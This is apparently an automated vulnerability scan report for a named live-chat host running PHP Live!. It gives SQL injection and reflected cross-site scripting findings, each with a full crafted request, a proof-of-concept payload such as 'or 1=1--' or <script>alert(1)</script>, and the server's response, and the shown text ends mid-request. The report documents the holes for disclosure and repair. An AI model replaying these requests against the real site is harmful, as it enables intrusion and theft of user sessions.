XSS, DORK, livechat.golden.net, CWE-79, CAPEC-86

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.1. http://livechat.golden.net/image.php [deptid parameter] next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://livechat.golden.net
Path:	/image.php

Issue detail

The deptid parameter appears to be vulnerable to SQL injection attacks. The payloads 15564444%20or%201%3d1--%20 and 15564444%20or%201%3d2--%20 were each submitted in the deptid parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /image.php?l=phplive&x=1&deptid=015564444%20or%201%3d1--%20&page=http%3A//www.execulink.ca/&unique=1301229075313&refer=&text= HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:31:25 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 4049
Content-Type: image/gif

GIF89a..A.............fX...kpz............:H{lu..........ydYfTL....jZ...EIMt]T....YOlYQ..........vc...............MVe..w......qj....kZw...s..}..uXE=,;rS54.zh....vfvUN..z...........q............Zes.....{..l..{....l^.....q.p^.....h.......{saOG.............{j.......n_.f`.}p.xawJD...........}._S..8?K.RF.bS..|....wr]>?...._O.}o..s...Vb.`.`HU.s}....D.D...6.6Q.Qf_Z.............pa.......kp..i......!..NETSCAPE2.0.....!...,..,......A.....~............................I....u.JSJ.!.c?#@00iM..u..N.+b*8yT.U]..K....,....J.c.@y4.0c5...^.80((.]3.L&...Y:...54a.aa.#+*(T4MNB0.."..^..\....:u."j.PC...MV.    3....hF...E_.#..f.....`..>.H.......yu/&.
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...[SNIP]...

Request 2

GET /image.php?l=phplive&x=1&deptid=015564444%20or%201%3d2--%20&page=http%3A//www.execulink.ca/&unique=1301229075313&refer=&text= HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:31:26 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 3331
Content-Type: image/gif

GIF89a..A............iuJP649......,;r:H|HU.Vb.s}......................ks.......MVet}................\ft;DO.................................................}w....xlk`X}qi...........wcQG......zeZ....vd...fUM..v....~k..y.h[.obmYQ....\L.dT.k[..lu]UUHD.`MyVL.`V....o`Q@<....RF...wJCc?:U42..................................................................................................................!.......,......A.....c............................Q...-''.'-49>C.BK@4.-....AA@KR=JEPLF/....7....-9..CV.KA..-...RJIPPF?83...7:...:@IHHIBC..@>4.....JPO...g..&06B...DJ.'P...B.[.z.b...k..!....I..IK$l.s..c<"..0..... 9.-d.........G..QIbj......,S.Hm..
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.E..obT,... .+B.P.."..B.....9..R.
TCx...0.RRQ..8o.1...LV.R.e.HL(. .....a. ......B9._....../......UY.u.Bpj...+....\...7(
...[SNIP]...

1.2. http://livechat.golden.net/image.php [x parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://livechat.golden.net
Path:	/image.php

Issue detail

The x parameter appears to be vulnerable to SQL injection attacks. The payloads 19364872%20or%201%3d1--%20 and 19364872%20or%201%3d2--%20 were each submitted in the x parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /image.php?l=phplive&x=119364872%20or%201%3d1--%20&deptid=0&page=http%3A//www.execulink.ca/&unique=1301229075313&refer=&text= HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:31:09 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 4049
Content-Type: image/gif

GIF89a..A.............fX...kpz............:H{lu..........ydYfTL....jZ...EIMt]T....YOlYQ..........vc...............MVe..w......qj....kZw...s..}..uXE=,;rS54.zh....vfvUN..z...........q............Zes.....{..l..{....l^.....q.p^.....h.......{saOG.............{j.......n_.f`.}p.xawJD...........}._S..8?K.RF.bS..|....wr]>?...._O.}o..s...Vb.`.`HU.s}....D.D...6.6Q.Qf_Z.............pa.......kp..i......!..NETSCAPE2.0.....!...,..,......A.....~............................I....u.JSJ.!.c?#@00iM..u..N.+b*8yT.U]..K....,....J.c.@y4.0c5...^.80((.]3.L&...Y:...54a.aa.#+*(T4MNB0.."..^..\....:u."j.PC...MV.    3....hF...E_.#..f.....`..>.H.......yu/&.
C.^...A..G..J.2..0].5.Y..$..j..p$M.    ].....E..X.....K..^.T..%........"D"5B.X...C'[.t...E.
_........5....9M._..\.0...>}. ..g.`.=.08|... F...<...&...X.F.
.T...@L.^B.U.r.....<,$.x......2a2....8...JyT...>?.......9..Dk..@.q.GF..F..4..7......|.@|.9..}....k~.....H..`....j.Y.."x..A.0....!..H.Q.....p+.....T1....3..|.D.Zk...._.D......akBl........!l...*....#.@..4.g...    ..H.T...6Y.!...@.n.2h.~80. ..!E%>$.I....-.....M..B.i.9.# ..=U.    ....Y...B)..}d...}. ...
.G.......f.B
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...~....}C.H.b.VB.....ceTF.Y....G..12|tT@.:.<.v...j(..~.G..>...~.a....-{....4../.....6..y......z.y-0...C..T.....Y%..A....:.~....%.:...o.jH......z....    .l....N..I....D.A..8h@.F......K....6!.<..'..    Z`....^.....w".!.u.....p"*..o.....7;..M..R..x...Z..I.....?..Abh...6&.........L..:T.>4C.k68.-.l|k....W.(..g;.]..G....g.p..l.4....p....0..`L...........    .`.....(........`>B .?..A....F"b_1........ .a$...r..*...`.G]ts..|$*h.@    ..... ..QR1...A.......(...X.....>P.    .......@..,.Rz%.I.
......=h...@.'L.T..9...B0.zf......&l...!F...M^..X1...
..$...B....1.....S.....6.5DO....X.O0y.. ....0..t..4`.....%...z..dL`.$.*..X.G8......3..    FI.U.A.J......&`..K.......1o.<...k.    ..R    \    .[:...<.    W.'..P..Q..U......
...[SNIP]...

Request 2

GET /image.php?l=phplive&x=119364872%20or%201%3d2--%20&deptid=0&page=http%3A//www.execulink.ca/&unique=1301229075313&refer=&text= HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:31:10 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 3331
Content-Type: image/gif

GIF89a..A............iuJP649......,;r:H|HU.Vb.s}......................ks.......MVet}................\ft;DO.................................................}w....xlk`X}qi...........wcQG......zeZ....vd...fUM..v....~k..y.h[.obmYQ....\L.dT.k[..lu]UUHD.`MyVL.`V....o`Q@<....RF...wJCc?:U42..................................................................................................................!.......,......A.....c............................Q...-''.'-49>C.BK@4.-....AA@KR=JEPLF/....7....-9..CV.KA..-...RJIPPF?83...7:...:@IHHIBC..@>4.....JPO...g..&06B...DJ.'P...B.[.z.b...k..!....I..IK$l.s..c<"..0..... 9.-d.........G..QIbj......,S.Hm..
.!>v...."...K.j.....$.5....|..|......)M~4.r....Zuu...,.....h.....kv..6..%J.0.1...,Xz....!..@.v..l$.B......A......G.[.%H......."CF/....j..."........I......U
G,.c....=:..M.....T?........*.X....(..m.!"A.)..RS.(Q.EC..DV....H.$ADPB.&.u.5.. .(f. ..p.....X...X`!.t..R
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TCx...0.RRQ..8o.1...LV.R.e.HL(. .....a. ......B9._....../......UY.u.Bpj...+....\...7(
...[SNIP]...

2. Cross-site scripting (reflected) previous next
There are 14 instances of this issue:

/image.php [l parameter]
/image_tracker.php [l parameter]
/js/status_image.php [base_url parameter]
/js/status_image.php [base_url parameter]
/js/status_image.php [btn parameter]
/js/status_image.php [btn parameter]
/js/status_image.php [btn parameter]
/js/status_image.php [btn parameter]
/js/status_image.php [deptid parameter]
/js/status_image.php [deptid parameter]
/js/status_image.php [deptid parameter]
/js/status_image.php [deptid parameter]
/js/status_image.php [l parameter]
/js/status_image.php [x parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

2.1. http://livechat.golden.net/image.php [l parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/image.php

Issue detail

The value of the l request parameter is copied into the HTML document as plain text between tags. The payload 39eb1<script>alert(1)</script>e862c3d9ab9 was submitted in the l parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /image.php?l=phplive39eb1<script>alert(1)</script>e862c3d9ab9&x=1&deptid=0&page=http%3A//www.execulink.ca/&unique=1301229075313&refer=&text= HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:30:54 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 141
Content-Type: text/html; charset=UTF-8

<font color="#FF0000">Config error: reason: phplive39eb1<script>alert(1)</script>e862c3d9ab9 config not found! Exiting... [image.php]</font>

2.2. http://livechat.golden.net/image_tracker.php [l parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/image_tracker.php

Issue detail

The value of the l request parameter is copied into the HTML document as plain text between tags. The payload a3bb7<script>alert(1)</script>fcbf7dea98e was submitted in the l parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /image_tracker.php?l=phplivea3bb7<script>alert(1)</script>fcbf7dea98e&x=1&page=http%3A//www.execulink.ca/&unique=1301229075314 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:30:49 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 141
Content-Type: text/html; charset=UTF-8

<font color="#FF0000">Config error: reason: phplivea3bb7<script>alert(1)</script>fcbf7dea98e config not found! Exiting... [image.php]</font>

2.3. http://livechat.golden.net/js/status_image.php [base_url parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the base_url request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 9306a><script>alert(1)</script>31ed4610fb6 was submitted in the base_url parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.net9306a><script>alert(1)</script>31ed4610fb6&l=phplive&x=1&deptid=0&btn=1 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:30:51 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 6642
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
<img src=\"http://livechat.golden.net9306a><script>alert(1)</script>31ed4610fb6/images/initiate_close.gif\" width=10 height=10 border=0>
...[SNIP]...

2.4. http://livechat.golden.net/js/status_image.php [base_url parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the base_url request parameter is copied into the HTML document as plain text between tags. The payload a0243<script>alert(1)</script>f4279242bda was submitted in the base_url parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.neta0243<script>alert(1)</script>f4279242bda&l=phplive&x=1&deptid=0&btn=1 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:30:53 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 6635
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
ar unique = dounique() ;
   time_elapsed = unique - start_tracker ;
   if ( time_elapsed > 3600000 )
       do_tracker_flag_1 = 0 ;

   pullimage_1_0 = new Image ;
   pullimage_1_0.src = "http://livechat.golden.neta0243<script>alert(1)</script>f4279242bda/image_tracker.php?l=phplive&x=1&page="+url+"&unique="+unique ;

   pullimage_1_0.onload = checkinitiate_1_0 ;
   if ( do_tracker_flag_1 == 1 )
       setTimeout("do_tracker_1_0()",tracker_refresh) ;
}
function
...[SNIP]...

2.5. http://livechat.golden.net/js/status_image.php [btn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the btn request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c768f'><script>alert(1)</script>f42ce1b2b3 was submitted in the btn parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.net&l=phplive&x=1&deptid=0&btn=1c768f'><script>alert(1)</script>f42ce1b2b3 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:32:07 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 7734
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
<a href='JavaScript:void(0)' onMouseOver='window.status=\"Click for Live Support\"; return true;' onMouseOut='window.status=\"\"; return true;' OnClick='launch_support_1c768f'><script>alert(1)</script>f42ce1b2b3_0()'>
...[SNIP]...

2.6. http://livechat.golden.net/js/status_image.php [btn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the btn request parameter is copied into the HTML document as plain text between tags. The payload 46f2f<script>alert(1)</script>10e02a0bae5 was submitted in the btn parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.net&l=phplive&x=1&deptid=0&btn=146f2f<script>alert(1)</script>10e02a0bae5 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:32:12 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 7701
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
n toggleMotion( flag )
{
   if ( flag )
       halt = 1 ;
   else
       halt = 0 ;
}

function initializeProactive(){

   if(!ns && !ie && !w3) return ;
   if(ie)        ProactiveDiv = eval('document.all.ProactiveSupport_0_146f2f<script>alert(1)</script>10e02a0bae5.style') ;
   else if(ns)    ProactiveDiv = eval('document.layers["ProactiveSupport_0_146f2f<script>
...[SNIP]...

2.7. http://livechat.golden.net/js/status_image.php [btn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the btn request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 880f8"><script>alert(1)</script>6c385fd6f78 was submitted in the btn parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.net&l=phplive&x=1&deptid=0&btn=1880f8"><script>alert(1)</script>6c385fd6f78 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:32:05 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 7767
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
<img src="+phplive_image_1880f8"><script>alert(1)</script>6c385fd6f78_0+" border=0 alt='Click for Live Support'>
...[SNIP]...

2.8. http://livechat.golden.net/js/status_image.php [btn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the btn request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e28cd><script>alert(1)</script>7d9e65945aa was submitted in the btn parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.net&l=phplive&x=1&deptid=0&btn=1e28cd><script>alert(1)</script>7d9e65945aa HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:32:10 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 7734
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
<div id=\"ProactiveSupport_0_1e28cd><script>alert(1)</script>7d9e65945aa\">
...[SNIP]...

2.9. http://livechat.golden.net/js/status_image.php [deptid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the deptid request parameter is copied into the HTML document as plain text between tags. The payload 472f6<script>alert(1)</script>0d3884b99d1 was submitted in the deptid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.net&l=phplive&x=1&deptid=0472f6<script>alert(1)</script>0d3884b99d1&btn=1 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:31:47 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 7660
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
ion toggleMotion( flag )
{
   if ( flag )
       halt = 1 ;
   else
       halt = 0 ;
}

function initializeProactive(){

   if(!ns && !ie && !w3) return ;
   if(ie)        ProactiveDiv = eval('document.all.ProactiveSupport_0472f6<script>alert(1)</script>0d3884b99d1_1.style') ;
   else if(ns)    ProactiveDiv = eval('document.layers["ProactiveSupport_0472f6<script>
...[SNIP]...

2.10. http://livechat.golden.net/js/status_image.php [deptid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the deptid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1bb6e'><script>alert(1)</script>220a3c2170e was submitted in the deptid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.net&l=phplive&x=1&deptid=01bb6e'><script>alert(1)</script>220a3c2170e&btn=1 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 12:31:42 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 7724
Content-Type: text/html; charset=UTF-8

<!--
// copyright OSI Codes, PHP Live! Support
// http://www.osicodes.com
function dounique() { var date = new Date() ; return date.getTime() ; }
var tracker_refresh = 10000 ; // 1000 = 1 second
var d
...[SNIP]...
<a href='JavaScript:void(0)' onMouseOver='window.status=\"Click for Live Support\"; return true;' onMouseOut='window.status=\"\"; return true;' OnClick='launch_support_1_01bb6e'><script>alert(1)</script>220a3c2170e()'>
...[SNIP]...

2.11. http://livechat.golden.net/js/status_image.php [deptid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://livechat.golden.net
Path:	/js/status_image.php

Issue detail

The value of the deptid request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload f5d07><script>alert(1)</script>493eebbd683 was submitted in the deptid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/status_image.php?base_url=http://livechat.golden.net&l=phplive&x=1&deptid=0f5d07><script>alert(1)</script>493eebbd683&btn=1 HTTP/1.1
Host: livechat.golden.net
Proxy-Connection: keep-alive
Referer: http://www.execulink.ca/
